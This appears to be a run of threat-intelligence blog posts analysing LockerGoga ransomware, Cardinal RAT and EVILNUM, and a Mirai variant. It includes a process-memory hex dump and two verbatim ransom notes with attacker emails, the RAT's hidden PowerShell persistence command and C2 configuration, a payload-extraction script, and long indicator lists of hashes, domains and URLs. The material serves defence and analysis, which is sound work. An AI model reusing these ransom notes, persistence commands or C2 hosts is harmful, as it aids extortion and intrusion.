a845c34b0f675827444d6c502c0c461ed4445a00d83b31d5769646b88d7bbedf

7bcd69b3085126f7e97406889f78ab74e87230c11812b79406d723a80c08dd26

ba15c27f26265f4b063b65654e9d7c248d0d651919fafb68cb4765d1e057f93f

eda26a1cd80aac1c42cdbba9af813d9c4bc81f6052080bc33435d1e076e75aa0

7852b47e7a9e3f792755395584c64dd81b68ab3cbcdf82f60e50dc5fa7385125

14e8a8095426245633cd6c3440afc5b29d0c8cd4acefd10e16f82eb3295077ca

47f5a231f7cd0e36508ca6ff8c21c08a7248f0f2bd79c1e772b73443597b09b4

f3c58f6de17d2ef3e894c09bc68c0afcce23254916c182e44056db3cad710192

9128e1c56463b3ce7d4578ef14ccdfdba15ccc2d73545cb541ea3e80344b173c

c3d334cb7f6007c9ebee1a68c4f3f72eac9b3c102461d39f2a0a4b32a053843a

6e69548b1ae61d951452b65db15716a5ee2f9373be05011e897c61118c239a77

8cfbd38855d2d6033847142fdfa74710b796daf465ab94216fbbbe85971aee29

bdf36127817413f625d2625d3133760af724d6ad2410bea7297ddc116abc268f

5b0b972713cd8611b04e4673676cdff70345ac7301b2c23173cdfeaff564225c

c7a69dcfb6a3fe433a52a71d85a7e90df25b1db1bc843a541eb08ea2fd1052a4

Appendix

The latest variant of LockerGoga uses memory mapped files to communicate between processes. To illustrate this, we captured the memory of a section created by a child process.

00000000 02 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00

00000016 D0 02 01 00 CC 02 01 00 C8 02 01 00 30 00 00 00 Ð Ì È 0

00000032 80 02 01 00 F8 FF 0F 00 00 00 00 00 00 00 00 00 € øÿ

00000048 FF FF FF FF 00 00 00 00 01 00 00 00 24 00 00 00 ÿÿÿÿ $

00000064 20 00 00 00 1C 00 00 00 00 00 00 00 01 00 00 00

00000080 FC FF FF FF F8 FF FF FF F4 FF 01 00 0B 20 00 C0 üÿÿÿøÿÿÿôÿ À

00000096 DE FF FF FF 01 00 00 00 01 00 00 00 38 00 01 00 Þÿÿÿ 8

00000112 01 00 04 21 10 01 00 00 00 00 00 00 00 7A 70 63 ! zpc

00000128 55 48 4A 76 5A 33 4A 68 62 53 42 47 61 57 78 6C UHJvZ3JhbSBGaWxl

00000144 63 31 78 57 54 58 64 68 63 6D 56 63 56 6B 31 33 c1xWTXdhcmVcVk13

00000160 59 58 4A 6C 49 46 52 76 62 32 78 7A 58 47 64 73 YXJlIFRvb2xzXGds

00000176 61 57 49 74 4D 69 34 77 4C 6D 52 73 62 41 3D 3D aWItMi4wLmRsbA==

00000192 64 48 42 6A 63 48 4D 75 5A 47 78 73 63 6D 56 7A dHBjcHMuZGxscmVz

00000208 65 43 35 6B 62 47 77 75 62 58 56 70 4E 46 39 66 eC5kbGwubXVpNF9f

00000224 4F 48 64 6C 61 33 6C 69 4D 32 51 34 59 6D 4A 33 OHdla3liM2Q4YmJ3

00000240 5A 54 68 68 5A 44 46 68 4E 7A 51 77 4C 54 52 68 ZThhZDFhNzQwLTRh

00000256 4E 32 59 74 4E 47 45 78 59 53 30 35 4F 54 45 78 N2YtNGExYS05OTEx

00000272 4C 54 51 79 4D 57 51 30 4D 6A 49 34 4D 7A 52 6C LTQyMWQ0MjI4MzRl

00000288 5A 46 78 42 63 33 4E 6C 64 48 4E 63 55 6D 56 7A ZFxBc3NldHNcUmVz

00000304 62 33 56 79 59 32 56 7A 58 46 4A 6C 63 58 56 70 b3VyY2VzXFJlcXVp

00000320 63 6D 56 6B 55 48 4A 70 62 6E 52 44 59 58 42 68 cmVkUHJpbnRDYXBh

00000336 59 6D 6C 73 61 58 52 70 5A 58 4D 75 65 47 31 73 YmlsaXRpZXMueG1s

00000352 65 6D 55 74 4E 44 68 66 59 57 78 30 5A 6D 39 79 emUtNDhfYWx0Zm9y

00000368 62 53 31 31 62 6E 42 73 59 58 52 6C 5A 43 35 77 bS11bnBsYXRlZC5w

00000384 62 6D 63 3D 62 53 31 31 62 6E 42 73 59 58 52 6C bmc=bS11bnBsYXRl

00000400 5A 43 35 77 62 6D 63 3D 00 00 00 00 00 00 00 00 ZC5wbmc=

Table 3. Child process mapped file

The 1^st byte (02) instructs the master process to process the data below. The data is base64 encoded in three parts and decodes to the following:

Part 1:

Unknown value

Part 2:

tpcps.dllresx.dll.mui4__8wekyb3d8bbwe8ad1a740-4a7f-4a1a-9911-421d422834ed\Assets\Resources\RequiredPrintCapabilities.xmlze-48_altform-unplated.png

Part 3:

m-unplated.png

Example of initial variant of LockerGoga running on a host:

Figure 2. Initial LockerGoga running

Initial LockerGoga Ransom Note:

Greetings!

There was a significant flaw in the security system of your company.

You should be thankful that the flaw was exploited by serious people and not some rookies.

They would have damaged all of your data by mistake or for fun.

Your files are encrypted with the strongest military algorithms RSA4096 and AES-256.

Without our special decoder it is impossible to restore the data.

Attempts to restore your data with third party software as Photorec, RannohDecryptor etc.

will lead to irreversible destruction of your data.

To confirm our honest intentions.

Send us 2-3 different random files and you will get them decrypted.

It can be from different computers on your network to be sure that our decoder decrypts everything.

Sample files we unlock for free (files should not be related to any kind of backups).

We exclusively have decryption software for your situation

DO NOT RESET OR SHUTDOWN - files may be damaged.

DO NOT RENAME the encrypted files.

DO NOT MOVE the encrypted files.

This may lead to the impossibility of recovery of the certain files.

To get information on the price of the decoder contact us at:

CottleAkela@protonmail.com;QyavauZehyco1994@o2.pl

The payment has to be made in Bitcoins.

The final price depends on how fast you contact us.

As soon as we receive the payment you will get the decryption tool and

instructions on how to improve your systems security

Figure 3. Initial LockerGoga ransom note

Latest LockerGoga Ransom Note:

Greetings!

There was a significant flaw in the security system of your company.

You should be thankful that the flaw was exploited by serious people and not some rookies.

They would have damaged all of your data by mistake or for fun.

Your files are encrypted with the strongest military algorithms RSA4096 and AES-256.

Without our special decoder it is impossible to restore the data.

Attempts to restore your data with third party software as Photorec, RannohDecryptor etc.

will lead to irreversible destruction of your data.

To confirm our honest intentions.

Send us 2-3 different random files and you will get them decrypted.

It can be from different computers on your network to be sure that our decoder decrypts everything.

Sample files we unlock for free (files should not be related to any kind of backups).

We exclusively have decryption software for your situation

DO NOT RESET OR SHUTDOWN - files may be damaged.

DO NOT RENAME the encrypted files.

DO NOT MOVE the encrypted files.

This may lead to the impossibility of recovery of the certain files.

The payment has to be made in Bitcoins.

The final price depends on how fast you contact us.

As soon as we receive the payment you will get the decryption tool and

instructions on how to improve your systems security

To get information on the price of the decoder contact us at:

MayarChenot@protonmail.com

QicifomuEjijika@o2.pl

Figure 4. Latest LockerGoga ransom note

Cardinal RAT Sins Again, Targets Israeli Fin-Tech Firms

Posted on March 19, 2019August 17, 2026 by Tom Lancaster

In 2017, Unit 42 reported on and analyzed a low-volume malware family called Cardinal RAT. This malware family had remained undetected for over two years and was delivered via a unique downloader named Carp Downloader. Since that publication, we have continued to monitor this threat, resulting in the discovery of a series of attacks using an updated version of Cardinal RAT. A series of modifications have been made to the RAT, many of which are used to evade detection and hinder analysis.

We witnessed attacks targeting the financial technology (FinTech) sector, primarily focused on organizations based in Israel. While researching these attacks, we discovered a possible relationship between Cardinal RAT and another malware family named EVILNUM. EVILNUM is a JavaScript-based malware family that is used in attacks against similar organizations.

Cardinal RAT Employs BMP Trick

Since the original discovery of Cardinal RAT, the attackers have made some minor updates that are worth discussing, particularly regarding obfuscation techniques. For the sake of this analysis we’ll look at the most recent version of Cardinal RAT:

SHA256

b742162197744a8caeb09f954213a3172ed699f8375f69c40b57b8c219c5e37c

The last time we wrote about Cardinal RAT in 2017, we looked at version 1.4 of the malware family. We identify this latest sample as version 1.7.2 based on information within the payload. Unlike previously discussed samples, this latest instance of Cardinal RAT employs various obfuscation techniques to hinder analysis of the underlying code. The first layer of obfuscation comes in the form of steganography; the initial sample is compiled with .NET and contains an embedded bitmap (BMP) file.

Figure 1. Embedded BMP file contained within .NET loader

Upon execution, the malware will read this file, parse out pixel data from the image, and decrypt the result using a single-byte XOR key. We have provided a Python script to automate this process in the Appendix of the blog post. The result is a DLL also compiled with .NET, with the following hash:

SHA256

01e007b8304eb0cbcb2be11ddb86298dc85c084fb5459eda319a69ef50799f88

After this file has been loaded in memory, the initial loader will load and execute the ‘corerun’ function, initiating the second stage of the malware. The DLL begins by performing a sleep using the built-in Windows choice utility:

cmd.exe /c choice /C Y /N /D Y /T 20

The command prompts the user for a choice with a 20 second timeout, at which point the process will exit. Since the window is hidden, and there is no utility for this choice, the malware simply uses this as an alternative sleep command.

The second stage DLL reads in the ‘strings’ embedded resource from the first stage executable. Part of this resource is decrypted to provide configuration information to the dropper. This configuration information will instruct whether or not the malware enters its installation routine. In the installation routine, it begins by writing a unique GUID identifier to %TEMP%\[random].ini. Afterwards, it creates the following directory:

%APPDATA%\Microsoft\Windows\IEConfig

It then writes an embedded executable with the hash below to %TEMP%\[random].exe. This file has an internal filename of RunExecutive.exe and simply copies the contents of argument #2 to the file path specified in argument #1.

SHA256

2167d393ec89ec0c6e2d7557a7ad22aa1953dd8082f599bee14977c25a128cce

The malware creates an LNK file in the victim’s startup folder with a randomly generated filename using a GUID (Example: {fcb29182-b3cc-47e2-a95c-b22c6d87dda1}.lnk). The LNK file executes the following command:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -windowstyle hidden "%APPDATA%\Microsoft\Windows\IEConfig\[random]\sqlreader.exe"

Finally, the malware will execute the previously written RunExecutive executable with arguments to copy the original executable to the previously referenced sqlreader.exe file path.

The remaining segment of the embedded resource is decrypted using a 16-byte XOR key, resulting in a .NET executable. This executable is injected into one of the following two legitimate executables or processes on the system:

RegSvcs.exe

RegAsm.exe

In previous versions of this malware family, there were a larger number of legitimate processes Cardinal RAT would inject into. The final payload has the following hash:

SHA256

04de4b51c881e65236c9efdbfbc0099e6b48fd1723a6e51bf480b52104dd2ba2

Underneath all this obfuscation, this Cardinal RAT payload does not have any significant changes compared to the previously discussed version in terms of its operation or capabilities. One of the most significant changes lies in the obfuscation used by the malware; all of the functions, methods, and variables have been renamed to MD5 hashes.

Figure 2. Obfuscation present in Cardinal RAT payload

In addition to the obfuscation routines in use, there have been a few minor changes within the malware itself. First, the embedded configuration has a few changes both in the order of the embedded values, as well as what values are present. Additionally, the way this configuration is encoded has changed slightly, as several values that were previously base 64 encoded in version 1.4 are no longer base64-encoded.

$ python parseConfig.py GreyCardinalConfig

Mutex: {509ce3ef-e03e-467e-be19-710782f13c28}

Campaign Identifier: '\xf1\xaf\x02i.]\xa4\xe0'

C2 Server: affiliatecollective[.]club

C2 Port: 443

Hash Value: 0304674e9876530dfbea5a9b4fec7b98

Additional C2 Servers: 0

GUID: '\xd6\x04hr\x9a\xedLN\xae\xe8\xd0\x87\x80\x19\x15z'

Buffer Size: 81920

Max Buffer Size: 40960000

Sleep Timer Between Requests: 2000

Unused Integer: 60000

Unused Integer: 0

Perform Keylogging: 0

Disable Sleep on Victim: 0

Network communication and actions available to the remote operator remain consistent between versions. The script provided in our previous report continues to work as expected against the network traffic generated by this malware family. The following actions continue to be present within the malware:

Collect victim information
Update settings
Act as a reverse proxy
Execute command
Uninstall itself
Recover passwords
Download and Execute new files
Keylogging
Capture screenshots
Update Cardinal RAT
Clean cookies from browsers

Enter EVILNUM

When looking at files submitted by the same customer in a similar timeframe to the Cardinal RAT samples, we saw that the customer had also submitted a malware family we’d been tracking as EVILNUM. From our viewpoint this is another family that seems to be used solely in attacks against finance related organisations.

When we cross-referenced submissions to online sandboxes, we found an additional case to ours, where another organization had submitted both EVILNUM and Cardinal RAT on the same day; both of which are rare malware families with limited distribution.

We opted to use the name EVILNUM, since in some versions of the malware the C2 is calculated by reading the page, parsing a numerical value, dividing it by 666 and then converting the resulting decimal to an IP address. There are at least two versions of this malware, one written in JavaScript, and another written in .NET.

SHA256	Type
bee6c5a506d6fb2cc129443c74b7676fbb9a79b53b92b2cac4c7fb8209592714	.NET
97c97ad2baef37eea023549131c192f441aa7976747166cd31095e7dad17948c	JS

Despite the differences in programming language used, the samples are similar, and we believe the .NET edition is likely a rewrite of the .JS version.

EVILNUM has been covered in the public domain previously (albeit with no name assigned to the malware family) and has been noticed by multiple analysts on Twitter. It’s a first-stage malware family which gives an attacker data about the infected host before they decide to install other utilities on the machine. EVILNUM’s supported commands vary from version to version and include but are not limited to:

Setting up persistence
Run an arbitrary command using “cmd /c”
Download of additional files
Ability to take screenshots

Since the operation of the malware is well covered already in the pwncode article, we’ll simply illustrate a few of the differences and similarities between the older and newer versions of the malware in the table below:

	May 2018 version	January 2019 version
Version #	1.3	2.1
C2s used	Public Forums/Git, find number, divide by 666, num2ip	Public Forums/Git, find number, divide by 8, num2ip
Functionality to steal local cookies	n	y
Use of Lock file	y	y
Adds to Startup as LNK?	y	y
Add to startup method?	via cmd line	By importing a reg file
Function naming	this_function	ThisFunction
Ability to take screenshots	n	y

Table 1. Highlights of the similarities (in green) and differences (in red) between EVILNUM versions

The malware appears to have been given a general rewrite, (as indicated by the authors’ version number) with many functions being rewritten from scratch.

Despite this, the core functionality of the malware is mostly the same, and some of the concepts used in the malware family (such as the lock file) remain the same. It’s likely that the malware only serves as a first stage and the attackers deploy further tools to target networks of interest.

Targeting

Since April 2017, we have observed Cardinal RAT in attacks against two customers, both customers were FinTech companies who write software relating to forex and cryptocurrency trading, and both companies were based in Israel. Looking at submissions to VirusTotal, there are 13 Carp Downloader documents. Note that we are only looking at submissions for “entry” type files, not subsequent dropped files. When looking at the first submitters for these documents in Figure 1, we see they are predominantly uploaded from Israel.

Figure 3. Distribution by country for Carp Downloader submissions to VirusTotal

In the case of EVILNUM, we have only seen one instance at a customer (the same one we referred to earlier in this article). When it comes to investigations from public sandboxes though, the distribution of the initial files used in infections is most commonly via LNK files. The geographical distribution of first submitters for EVILNUM is quite different, as shown in Figure 4.

Figure 4. Distribution by country for EVILNUM submissions to VirusTotal

Conclusion

Cardinal RAT and EVILNUM are both used in limited distribution attacks against FinTech companies. In one case, both families were observed at the same target in a short space of time, whilst droppers for both families share similarly themed lure documents.

We suggest that these families are used in targeted attacks against FinTech companies because:

Our telemetry shows these families are only used against companies in this sector.
The lure documents used consistently related to lists of names/numbers of individuals involved in trading forex/crypto currency, a niche theme to use if targeting individuals outside of this sector.

We believe it’s possible that both families are used by the same attackers because:

We know of two cases where a company was targeted or appears to have been targeted by both malware families in short succession.
Both families have been distributed using malicious documents containing lists of names/numbers of individuals involved in trading forex/crypto currency.
The differences in geographical distribution can be easily explained as a difference in visibility.

However, there are a number of arguments against the two families being related:

In terms of the geographic spread of where these families are seen, the targeting for each family seems to be quite different.
The delivery methods for each family do not share any similarities.
The infrastructure associated with each malware family is distinctive and different with no cross-over in terms of hosting providers or other attributes being observed.

Even if the two families are not linked, they both have similar targeting interests, and so FinTech organisations should ensure they are protected against the malware used. Whilst we haven’t been able to gain an insight into what the attackers do once successfully on a target network, it’s likely (based on the targets) they use their access to facilitate financial gain.

Organizations with effective spam filtering, proper system administration, and up-to-date Windows hosts have a much lower risk of infection. Generic defenses against these threats include:

Do not allow inbound e-mails with LNK file as attachments, or, do not allow inbound e-mails with attached ZIP files containing a single LNK file inside them.
Do not allow inbound e-mails from external sources where the documents contain macros, or, if you do, ensure proper policy is configured.
Enforce parent-child process policies to restrict use of scripting languages by malware.

Palo Alto Networks customers are further protected from this threat by:

EVILNUM variants are blocked by our IPS, see threat IDs 18781 and 18782.
Wildfire and Traps detect all files referenced as malware.

AutoFocus users can track this activity using the CardinalRAT, CarpDownloader and EVILNUM tags.

Appendix

Script to decrypt BMP from Cardinal RAT dropper

from PIL import Image

import sys

from struct import *

im = Image.open(sys.argv[1])

pix = im.load()

width, height = im.size

fileSize = unpack("I", (pack("bbbb", pix[0,0][0],pix[0,0][1],pix[0,0][2],pix[1,0][0])))[0]

key = 187

out = ""

for ind, h in enumerate(range(height)):

if ind == 0:

j = 2

for w in range(width-2):

pixel = pix[j, ind]

out += chr(pixel[0] ^ key)

out += chr(pixel[1] ^ key)

out += chr(pixel[2] ^ key)

j += 1

else:

for k in range(width):

pixel = pix[k, ind]

out += chr(pixel[0] ^ key)

out += chr(pixel[1] ^ key)

out += chr(pixel[2] ^ key)

finished = out[0:fileSize]

print("Writing output to 'dumped.exe_'...")

fh = open("dumped.exe_", 'wb')

fh.write(finished)

fh.close()

Indicators of Compromise

Cardinal RAT samples

b742162197744a8caeb09f954213a3172ed699f8375f69c40b57b8c219c5e37c

06151c14153e983ae7ab793c7cd0e5ac3faf8e200894955b02e1191429eff29a

9e6671a8af28e0ab6c37c044d85a2406b665a171ae3bef46f3e90d06e33027ae

448c33094322b200c53ff016fec29469b3e52def359430113115cc70d7f28704

06f1348c8a2ffab67627556075ddcad92998526d4d3802b9c2357d169531825f

ca8af85f7eed79a73984b2dccd3dd2148865dfed7a009842be7372e6ce18037f

75ca794f265ebad84954f13480e0e31c17048d21c4b52e949864c951437d0c2c

78e2929e5dae8677f9db3aa7eaa96ad584c872343698e18f85349a027328b3ea

f4f52c45ca3d4d4ce33981f660d23e8df4a9c0e345fdd6429d8b46f6c0528c38

dd8fe0e27bf798cace40ac0d58b833ba3bbf16d80175296601585ed1964465ec

20fec2d1824b585aa558b7cf9e9980acd665736ce9f7a124507cf46afb30c79f

dab228c236d48fa1660bcec59e17e5004726741a85b0fbeef8300f29927c32d9

f75883ff35104a032dd047ca39d35ec98601c76aa02f58ad655df6deaadecb55

a545288c4d491d510972d583b773f8a0c5dc355942e322cf767d33121c659c1c

64a9bdf4ff33e8f2e74dc16d7dce0f392aa130ff9b99458778fd25d9aadff381

66f38591e8c80bb26623b0e6be5ab976fdf745c2afa020c7d98e2814960b5961

65b726aab53920c497f83eb1f3cbd6b7dbfc2074aab6761b7485aa98f2df139a

3ec85a019a480114856d3022961d7a55c1ae7cfa81b0073b2c1abcf99e0e541f

43fb0b13f9872a54f91a7bf202b23a8a16de99d054a83ed08b9ea97f9e2675e8

137f9265cba1101ae5d63b94c6ad1b47c7d02f0ab4f54a1af3169422791790cf

101af6fdb990e5e9584382a65f5cee7efd9e89c38e928beca18419bdf70ef076

f9bccd349cf841d0f25e81d80a1b4bf73dd960a1f3aa71029a18e36480c80392

f027735c3db77e67cf7bada8862ddbb0d85a2caacbb4b2825e4acdfa863a14c9

75996bbfcd2b343523ed79476f9516cc7d2b041c43841e5e735db4f22ae970c3

0097dd7676b810bd0c1c70d8c86604c830e1e8e88f6a13c3869747faba381076

08ce077e8d54db08ede1095d03286146d04e8cbce74ec91a9fc7b9d0a99ddb9f

28e9e0fcc6899db7a16315d3dca38b6166ba318f8ca07b422ebadaab209b589b

2247c528fc1b90b725d857cc5d45572e864c6c4948100458774f0ef6a8f11403

dfa041f6cbe9d83cdaaed90466693efca33729c99fa43b29ab8e44bb27eb0a6b

4045950ffa263b92774e92ab36b3ec52bf18f1c133b8d155819629d2ad4b3d1c

85f1053041ef7af8a1c3d941e18de21e7adc24537863063d127bab8a8d2dc64b

98200955db80cb5835158320ba94b2b55bc7028ea988b75f02adee3df40793f3

ae8fb2f138981f10092761768428fb312e3e49bc23d5b610e3127c1a387aede8

66f43e57648f01ea5f8d0d152db1df90c764eebeb701403936a15c47e2965353

943cef39e54457fcfa21f5a8ed0f04095c1d4b798453770be5dda5db7d5406ac

ca2a01792873233693e17fe51c4c86c05d07e31f9b579ab0444dd89733633532

4fde64e9391d36aaff700ce0be3df9e7e6303b6de114332286de694af33dd7da

5909b5999d3998f578a3acb4bf85e0b3fde102c417c40b6beed0dd3b8ceb51bf

0212334200668ac64cb63fc1a4f4ea17e956f6928a2211c945c2e07f1b25a3ef

bae230d6a988723b33158bbeef4ab90b1bff7b521fed9cab0c5e1f5b69a01de5

b01b7a5798f41a5fae54b4189db6f47c6110a0b53a4df32cb7d0f13503c5250c

fb63acfda1730132dbfbf1d46834d771156aac3f7c8e97ea136ca6edbe811fad

268c3c9a98f2a15aaab9b0488225b0ba4e3d35efa30f6fed9052ffd31042bd7b

0afec067628e901f7151861b0924ffb1909d21a707177b1e6cf2c8d491bb1a60

985d893426373d4e71386d731e5bc44c1c2ac93e0920dddeb4380929af43dfcb

82017e34c232e05094c2bbed2e62f6b55c1ed8f645803784cac791cc4690beaf

8d8ccaf5a241112d173147b6b08ad5b7953c940ff5928e3046781c1e58a9c73a

427b635915e0fe313ce58175faa1cc240ae26183fb88d05864bc20ef6d87aca3

00f93492edb3274f71686fa469f6c9031a94292a2776c623a1596f710bf4eaa1

5dcec8a061195bd4a2c3e96afecc48b1f0143b6ac4644c518ed8a923d2dcbe21

02e85f39adf8613fd1be610e4e76f4fac08949f2e0198e8cf89a7c3a17cdd6d9

5e60f17396e2ddfce8e60c964056d63cc3b17646c31b4a4f934c2d1fb4f5ba71

cbcb627ff2220ed269aaa58203e7e89f1988210073d35f5f4019f8ecfd012f81

267b1df7bc64c1b93b604d964f52801733fdd43efaf7742810b9277f00ad17ff

e017651dd9e9419a7f1714f8f2cdc3d8e75aebbe6d3cfbb2de3f042f39aec3bd

778090182a10fde1b4c1571d1e853e123f6ab1682e17dabe2e83468b518c01df

8fababb509ad8230e4d6fa1e6403602a97e60dc8ef517016f86195143cf50f4e

1977cedcfb8726dea5e915b47e1479256674551bc0fe0b55ddd3fa3b15eb82b2

16aab89d74c1eaaf1e94028c8ccceef442eb2cd5b052cba3562d2b1b1a3a4ba6

9c47b2af8b8c5f3c25f237dcc375b41835904f7cd99221c7489fb3563c34c9ab

211b7b7a4c4a07b9c65fae361570dbb94666e26f0cc0fa0b32df4b09fcee6de2

fd61a5cd1a83f68b75d47c8b6041f8640e47510925caee8176d5d81afac29134

84f822d9cf575aeea867e9b73f88ad4d9244293e52208644e12ff2cf13b6b537

855cf3a6422b0bf680d505720fd07c396508f67518670b493dba902c3c2e5dfa

4b4c6b36938c3de0623feb92c0e1cb399d2dc338d2095b8ba84e862ef6d11772

5dd162ab66f0c819ee73868c26ecd82408422e2b6366805631eab95ae32516f3

6e2991e02d3cf17d77173d50cdaa766661a89721c3cc4050fba98bea0dbdb1a9

1e8ed6e8d0b6fc47d8176c874ed40fb09644c058042f34d987878fa644f493cc

647e379517fed71682423b0192da453ec1d61a633c154fdd55bab762bcc404f3

ebd4f45cbb272bcc4954cf1bd0a5b8802a6e501688f2a1abdb6143ba616aea82

edc49bf7ec508becb088d5082c78d360f1a7cad520f6de6d8b93759b67aac305

7482f8c86b63ce53edcb62fc2ff2dd8e584e2164451ae0c6f2b1f4d6d0cb6d9c

2fbd3d2362acd1c8f0963b48d01f94c7a07aeac52d23415d0498c8c9e23554db

154e3a12404202fd25e29e754ff78703d4edd7da73cb4c283c9910fd526d47db

fc5f7a21d953c394968647df6a37e1f61db04968ad1aca65ad8f261b363fa842

a1d5b7d69d85b1be31d9e1cb0686094cc7b1213079b2a66ace01be4bfe3fb7c3

4b0203492a95257707a86992e84b5085ce9e11810a26920dbb085005081e32d3

a05805bcec72fb76b997c456e0fd6c4b219fdc51cad70d4a58c16b0b0e2d9ba1

4e953ea82b0406a5b95e31554628ad6821b1d91e9ada0d26179977f227cf01ad

6272ed2a9b69509ac16162158729762d30f9ca06146a1828ae17afedd5c243ef

440504899b7af6f352cfaad6cdef1642c66927ecce0cf2f7e65d563a78be1b29

Carp Downloader samples (binaries and documents)

9a2491d803407b8696d6b797f8b90d728a8db3583bf4c2977cbeef8be0eb7249

7220e659d59491db50661c54762b49bf6976acbeb723b5d59abde48301c86228

c2d944a939bdc810d603149c0685f0bcb55a84d1f3a6ea33e9debe893fd0a8dd

d562f01384b1d215758227fb2c165ed633fe9997096613fed8ce3bdf8963e4fd

fdee357557a69d3dfa629d0cbd585d9c5dadc526dfb424af56c8edcc7a67d556

0716f3f9cb0dead0c1f156a07adfeb3e0d72e4ea4af7b67238fae3e1ae670f90

2016766acaeb1b89415fb6ef03f6ee815b8fe76b8955a6a41d2bbb28dfa74c28

d7996ac876fa0ece281e49e7955dfbbf4ef1239b1ee63a0e21d6c4ed4b7c6559

96067fc9b137ceecab2ff29ac56ff6897a7c73657ace7c40d70b7c1ebaaccf39

ea581e8e625a3748da9663414182d1b99f9c5ddb0b9db2fbf1059a28c69cc10c

a2dfe3a5a1e999af7f1920d28e05d8b0ce66c6e8b2947177878862ce1f870b17

5665527ce54ed1a79ddb8e3c10499ac0b7af5c79a8cf5a37448baccbf6dba09f

b4632dcf0b23467970ee7e0844e7c8a931dc3a0f549c0aa5e40e41c1b5b31fdc

6ecd376cdc182bf157e59d500da6092891e6cd9a61305214e462d6e990e6e834

0fabc65c316e8d84493d07cd39bfdd59481af9f9a7ebc9103693f1788438a438

a52ba498d304906d6c060e8c56ad7db50e1af0a781616c0aa35447c50c28bae9

5025aa0fc6d4ac6daa2d9a6452263dcc20d6906149fc0995d458ed38e7e57b61

1181f97071d8f96f9cdfb0f39b697204413cc0a715aa4935fe8964209289b331

d5d885734969641f43c64edf9788837df0d3452413a7ef835f8910d56c60c91c

0438becfd66d728778f47d734d2f0bc4d1462d945cf4b6dde9fbf627eb0bb02d

84e705341a48c8c6552a7d3dd97b7cd968d2a9bc281a70c287df70813f5dca52

ae1a6c4f917772100e3a5dc1fab7de4a277876a6e626da114baf8179b13b0031

e49e61da52430011f1a22084a601cc08005865fe9a76abf503a4a9d2e11a5450

192b204dbc702d3762c953544975b61db8347a7739c6d8884bb4594bd816bf91

571b58ba655463705f45d2541f0fde049c83389a69552f98e41ece734a59f8d4

10f53502922bf837900935892fb1da28fc712848471bf4afcdd08440d3bd037f

8bea55d2e35a2281ed71a59f1feb4c1cf6af1c053a94781c033a94d8e4c853e5

057965e8b6638f0264d89872e80366b23255f1a0a30fd4efb7884c71b4104235

EVILNUM samples

97c97ad2baef37eea023549131c192f441aa7976747166cd31095e7dad17948c

bee6c5a506d6fb2cc129443c74b7676fbb9a79b53b92b2cac4c7fb8209592714

7f0c5e2850d10d4bf129e0d290010bedff44a0f506d92de79ef6d69fd78487e3

508e25a0e729824f06f4960b635600acf3cab87ebb87854d1989ff0ba2f03e78

997de4372efd576cdb55188a06e4699660a29c37e285e23cdd8a1a9585e6e789

e5e172cd93e97480a9982f821c8f1bdf9756803a3fb8a1a7a39e262cda192cb6

8db0118d4bbc10efd0fd6733d987ddeee7afc6c3ebe4ee1157ae9243aba362d9

Cardinal RAT Infrastructure (samples observed from mid 2017 onwards only)

s.dropinbox[.]host

secure.dropinbox[.]pw

s.spotmacro[.]online

secure.spotoption[.]pw

190.10.8[.]238

affiliatecollective[.]club

EVILNUM Infrastructure

hxxps://raw.githubusercontent[.]com/venomisherenow/wearevenom/master/README.md

hxxps://raw.githubusercontent[.]com/idontwantcofee/ihavepoop/master/README.md

hxxps://raw.githubusercontent[.]com/yoshimaster8/whatcha/master/readne

hxxps://raw.githubusercontent[.]com/grobagala/pizza/master/readne

hxxps://gitlab[.]com/githubuser/testing/commits/master

hxxps://raw.githubusercontent[.]com/sarutubi/Luckyluke/master/README.md

hxxps://raw.githubusercontent[.]com/hititdolly/justcallmeangel/master/README.md

hxxps://www.codeplex[.]com/site/users/view/saidjaosdjo

hxxps://raw.githubusercontent[.]com/iuasbduias/auhidshas/master/README.md

hxxps://www.digitalpoint[.]com/members/bitbox123.922831/

139.28.37[.]0

127.194.87[.]192 # likely attacker testing

127.194.73[.]243 # likely attacker testing

wikipeldia[.]org

185.247.211[.]198

185.20.187[.]4

193.22.96[.]98

193.22.98[.]182

193.22.99[.]168

New Mirai Variant Targets Enterprise Wireless Presentation & Display Systems

Posted on March 18, 2019June 7, 2024 by Ruchna Nigam

Executive Summary

In early January 2019, Unit 42 discovered a new variant of the infamous IoT/Linux botnet Mirai.

Mirai is best known for being used in massive, unprecedented DDoS attacks in 2016. Some of the most notable targets included: web hosting provider OVH, DNS provider Dyn and Brian Krebs’ website.

This new variant that Unit 42 discovered is notable for targeting different embedded devices like routers, network storage devices, NVRs, and IP cameras and using numerous exploits against them.

In particular, Unit 42 found this new variant targeting WePresent WiPG-1000 Wireless Presentation systems, and in LG Supersign TVs. Both these devices are intended for use by businesses. This development indicates to us a potential shift to using Mirai to target enterprises. The previous instance where we observed the botnet targeting enterprise vulnerabilities was with the incorporation of exploits against Apache Struts and SonicWall.

In addition to this newer targeting, this new variant of Mirai includes new exploits in its multi-exploit battery, as well as new credentials to use in brute force against devices.

Finally, the malicious payload was hosted at a compromised website in Colombia: an "Electronic security, integration and alarm monitoring" business.

These new features afford the botnet a large attack surface. In particular, targeting enterprise links also grants it access to larger bandwidth, ultimately resulting in greater firepower for the botnet for DDoS attacks.

These developments underscore the importance for enterprises to be aware of the IoT devices on their network, change default passwords, ensure that devices are fully up-to-date on patches. And in the case of devices that cannot be patched, to remove those devices from the network as a last resort.

Exploits

This latest sample contains a total of 27 exploits, of which are 11 new to Mirai.

A full list of the exploits we have observed are listed in the Appendix. Table 1 lists exploits that haven’t been observed in the wild prior to this sample and Table 2 lists other exploits included in this variant have been observed only recently in the wild but were incorporated in variants prior to this one.

Other Features

Aside from the incorporation of unusual exploits, this new variant had some other differentiating features:

It makes use of the same encryption scheme as is characteristic of Mirai with a table key of 0xbeafdead.
When decrypting strings using this key, we found certain unusual default credentials for brute force that we haven’t come across until now:
It uses the domain epicrustserver[.]cf at port 3933 is for C2 communication.
In addition to scanning for other vulnerable devices, the new version can be commanded to send out HTTP Flood DDoS attacks.

Infrastructure

Ironically, the shell script payload (still live, at the time of this writing) fetched by the exploits in this variant is hosted at the compromised website for an "Electronic security, integration and alarm monitoring" business in Colombia.

Figure 1. Shell script payload fetched by exploits

Additionally, the binaries downloaded by the shell script were named in the format “clean.[arch]” (e.g. clean.x86, clean.mips etc.), however they don’t appear to be hosted at the website any longer.

